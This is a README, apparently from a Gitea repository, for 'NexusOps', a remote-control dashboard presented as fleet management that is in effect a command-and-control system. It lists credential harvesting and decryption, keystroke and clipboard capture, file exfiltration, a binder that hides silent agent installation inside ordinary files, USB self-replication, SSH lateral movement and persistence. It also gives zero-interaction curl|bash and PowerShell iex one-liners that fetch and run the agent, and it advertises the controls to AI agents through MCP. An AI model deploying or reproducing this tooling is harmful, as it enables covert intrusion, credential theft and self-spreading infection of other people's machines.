143 lines
10 KiB
Markdown
143 lines
10 KiB
Markdown
# NexusOps — Central Node Control Dashboard
|
|
|
|
Point-and-shoot agent deployment + fleet control. Install an agent on any machine (one-liner, standalone binary, or bound into a normal file) and control it from a single web dashboard.
|
|
|
|
**Public URL:** https://agent.thetempleofdoom.com
|
|
**Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service`
|
|
**Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard
|
|
**Agent version:** v2.6.0 · Dashboard v3 (live console, schedules, groups, alerts, spread, lateral movement)
|
|
|
|
---
|
|
|
|
## What it does
|
|
|
|
| Area | Features |
|
|
|---|---|
|
|
| **Fleet view** | Node cards with live CPU/MEM sparklines, status, version chip, tags, filters, search |
|
|
| **Node Control Center** | Terminal (fast-poll live console), service management, process inspect/kill, diagnostics (hardware, partitions, env vars), network (interfaces, established connections, listening ports), exfil & harvest, agent config |
|
|
| **Node drawer** | Click any card: full metrics, per-node loot, ping w/ latency, screenshot, watch mode (screenshot every 15s), tags editor, reboot, update agent |
|
|
| **Loot** | All exfiltrated files (download, screenshot viewer), harvested credentials, input capture stream (keystrokes/clicks/scroll) |
|
|
| **File Binder** | Upload any file → get a self-extracting dropper (.sh / .ps1 / .html) that opens the file normally AND silently installs the agent. Persistence toggle. |
|
|
| **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) **+ spread-on-connect: watches for new USB mounts and replicates the moment one appears** |
|
|
| **Lateral movement** | Per-node toggle button: node scans its subnet for SSH-open hosts, attempts keyless SSH, and installs the agent on any machine it reaches |
|
|
| **SSH hop-on** | "Open SSH" button per node: installs/enables sshd, trusts the dashboard's ed25519 key, returns `ssh user@ip` — click and you have a terminal on that machine |
|
|
| **Update All Agents** | One button queues `update_agent` on every online node running an older version |
|
|
| **Persistence toggle** | Every install path (installers, universal, binder) takes `persist=0` to install without reboot-survival hooks — checkbox in the UI with hover explanation |
|
|
| **Broadcast & Groups** | One command to all nodes or a tag group; scheduled recurring tasks |
|
|
| **Audit & Export** | Full command audit log, kill switch, Export All (tar.gz of entire data store) |
|
|
| **Pivot fetch** | Fetch internal URLs THROUGH a node (reach its LAN from the dashboard) |
|
|
| **Clipboard capture** | Clipboard changes recorded into input capture (desktop nodes) |
|
|
| **File watcher** | `watch_dir` — new files in a watched directory auto-exfil to Loot |
|
|
| **Self-destruct TTL** | Agent wipes itself + persistence 14 days after activation (default; `NEXUS_TTL_DAYS` to change, 0 = wipe immediately, -1 = never) |
|
|
| **Dead-drop failover** | Server hands agents fallback callback URLs; they retry those if the primary is down |
|
|
| **Credential decryption** | Firefox (empty master pw) + Linux Chromium v10 logins decrypted locally at harvest; GPU brute queue at `/api/decrypt/queue` (worker: hashcat on nightmare 4080S) |
|
|
| **AI analyst** | Per-node "AI Brief" button — local Ollama (nightmare) summarizes the machine + loot in plain English |
|
|
| **Topology map** | Auto-drawn network graph: nodes + every host discovered by lateral scans |
|
|
| **Critical-only Telegram** | Kill switch / new node / creds harvested / node-offline push to Telegram (token server-side only) |
|
|
| **Android nodes (Termux)** | One-liner installer (auto-detected by the Universal path), persistence via bashrc + Termux:Boot, screenshots, sshd on 8022, auto-tagged `android` |
|
|
| **BT Radar (consent-gated)** | Per-node bluetooth scan of every device in range (MAC/name/RSSI). Push/sync only works on devices you explicitly Approve — pairing on the device is the consent. Stored at `/api/btradar`. |
|
|
| **GPU decrypt worker** | systemd worker on nightmare polls `/api/decrypt/queue`, stashes blobs for hashcat (4080S); creds that need brute-force route here |
|
|
| **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket |
|
|
| **UX** | Hover tooltips explaining every term, empty-state install hero, toasts, dark design system |
|
|
|
|
## Install paths (all zero-interaction)
|
|
|
|
```bash
|
|
# Universal (recommended) — auto-detects OS
|
|
curl -sSL https://agent.thetempleofdoom.com/install | bash
|
|
|
|
# Linux systemd installer
|
|
curl -sSL https://agent.thetempleofdoom.com/install.sh | sudo bash
|
|
|
|
# Windows (PowerShell, ProgramData)
|
|
iwr -useb https://agent.thetempleofdoom.com/install.ps1 | iex
|
|
|
|
# macOS (launchd KeepAlive)
|
|
curl -sSL https://agent.thetempleofdoom.com/install-mac.sh | bash
|
|
|
|
# Manual
|
|
curl -sSL https://agent.thetempleofdoom.com/agent.py -o agent.py && python3 agent.py --server https://agent.thetempleofdoom.com
|
|
|
|
# Android (inside Termux — F-Droid build)
|
|
pkg install -y curl && curl -sSL https://agent.thetempleofdoom.com/install-android.sh | bash
|
|
|
|
# Standalone binary (Linux x64 only; token baked in)
|
|
curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server https://agent.thetempleofdoom.com
|
|
```
|
|
|
|
**Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register)
|
|
|
|
## Agent actions (31)
|
|
|
|
`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` · `open_ssh` · `lateral_movement` · `pivot_fetch` · `watch_dir` · `bt_scan` · `bt_whitelist` · `bt_push`
|
|
|
|
## Architecture
|
|
|
|
```
|
|
dashboard (CT111 :3000) agents (any OS)
|
|
├─ server.js Express + WS ├─ agent.py (stdlib only)
|
|
├─ public/ UI + binary ├─ HTTP heartbeat /register /command-result
|
|
├─ data/ atomic JSON store ├─ input capture (pynput, optional)
|
|
└─ .env tokens + port └─ persistence hooks per OS
|
|
```
|
|
|
|
- **Persistence:** atomic writes (tmp+rename), 30s debounce, JSON store — no DB dependency.
|
|
- **Transport:** plain HTTPS through the Cloudflare fleet tunnel; WebSocket with heartbeat + reconnect backoff.
|
|
- **Agent updates:** `update_agent` action pulls the current `/agent.py` (supervised installs auto-restart; unsupervised need a relaunch).
|
|
|
|
## Deploy / update
|
|
|
|
```bash
|
|
# on the MacBook → CT111
|
|
tar czf /tmp/n.tar.gz server.js agents/agent.py public/
|
|
scp /tmp/n.tar.gz root@10.30.20.85:/tmp/
|
|
ssh root@10.30.20.85 "pct push 111 /tmp/n.tar.gz /tmp/n.tar.gz && pct exec 111 -- bash -c 'cd /root/agent-dashboard && tar xzf /tmp/n.tar.gz && node --check server.js && systemctl restart nexusops-dashboard'"
|
|
|
|
# rebuild binary after agent changes (token baked)
|
|
pct exec 111 -- bash -c 'cd /root/agent-dashboard && TOKEN=$(grep NEXUS_AGENT_TOKEN .env | cut -d= -f2); sed "s/__AGENT_TOKEN__/$TOKEN/" agents/agent.py > /tmp/ab.py && python3 -m PyInstaller --onefile --name NexusAgent /tmp/ab.py --distpath dist --workpath build/bake --specpath build/bake && cp dist/NexusAgent public/bin/NexusAgent'
|
|
```
|
|
|
|
## Config (`.env`)
|
|
|
|
| Var | Purpose |
|
|
|---|---|
|
|
| `PORT` | listen port (3000) |
|
|
| `PUBLIC_URL` | canonical public endpoint injected into all installers |
|
|
| `NEXUS_AUTH_TOKEN` | operator token (dashboard + API + WS) |
|
|
| `NEXUS_AGENT_TOKEN` | agent token — required by `/api/agent/*`, injected into served agent.py, installers and baked into the binary |
|
|
| `NEXUS_ALERT_WEBHOOK` | optional webhook URL for node/loot alerts |
|
|
|
|
## Verification (after any change)
|
|
|
|
1. `node --check server.js` + `node --check public/app_v2.js` + `python3 -m py_compile agents/agent.py`
|
|
2. Register-without-token → must be **401**; with token → 200
|
|
3. `curl https://agent.thetempleofdoom.com/agent.py | grep -c __AGENT_TOKEN__` → must be **0** (token injected)
|
|
4. Bind a test file → run dropper on a test box → node appears online
|
|
5. Spread toggle → `ls /mnt/.../NexusAgent` after the interval
|
|
6. Dashboard in a real browser: gate → unlock → drawer → watch → export
|
|
|
|
## Known limitations (honest)
|
|
|
|
- Binary is Linux x64 only — Windows/macOS binaries need a cross-compile runner (installers only need Python 3).
|
|
- Binder persistence is ON by default; disable per-bind in the UI for clean one-shot installs.
|
|
- Input capture needs `pynput` on the target; headless machines report screenshots as failed.
|
|
- Agent endpoints authenticate with a token that is public-by-installation — it screens out scanners, not a determined attacker.
|
|
- Screenshot on macOS targets requires Screen Recording permission (TCC).
|
|
- **Cloudflare caches `/agent.py`** — after changing the agent, purge `https://agent.thetempleofdoom.com/agent.py` via the CF API or agents will keep downloading the old version (cost ~20 min of confusion once already).
|
|
|
|
## Roadmap (simple adds)
|
|
|
|
See `PLAN.md` for the full list. Shortlist: SQLite migration (currently atomic JSON), cross-platform CI binaries, webhook alert UI config, per-node command history in the drawer, agent filesystem browser, reverse-shell-style interactive PTY console.
|
|
|
|
---
|
|
|
|
☕ https://buymeacoffee.com/r26xrthzttg
|
|
|
|
|
|
## Agent Discovery & MCP
|
|
|
|
- **MCP Hub catalog**: registered as `NexusOps Fleet Control` at https://mcp.thetempleofdoom.com/api/v1/mcp/servers (96-server catalog, 900+ tools)
|
|
- **MCP connect** (Omninexus hub, streamable HTTP): `https://mcp.thetempleofdoom.com/mcp` — JSON-RPC initialize → tools/list (924 tools incl. this fleet's controls)
|
|
- **Agent discovery files**: `/llms.txt`, `/llms-full.txt`, `/robots.txt`, `/sitemap.xml`, `/.well-known/ai-plugin.json` — all public 200
|
|
- Fleet master index: https://thetempleofdoom.com/llms.txt
|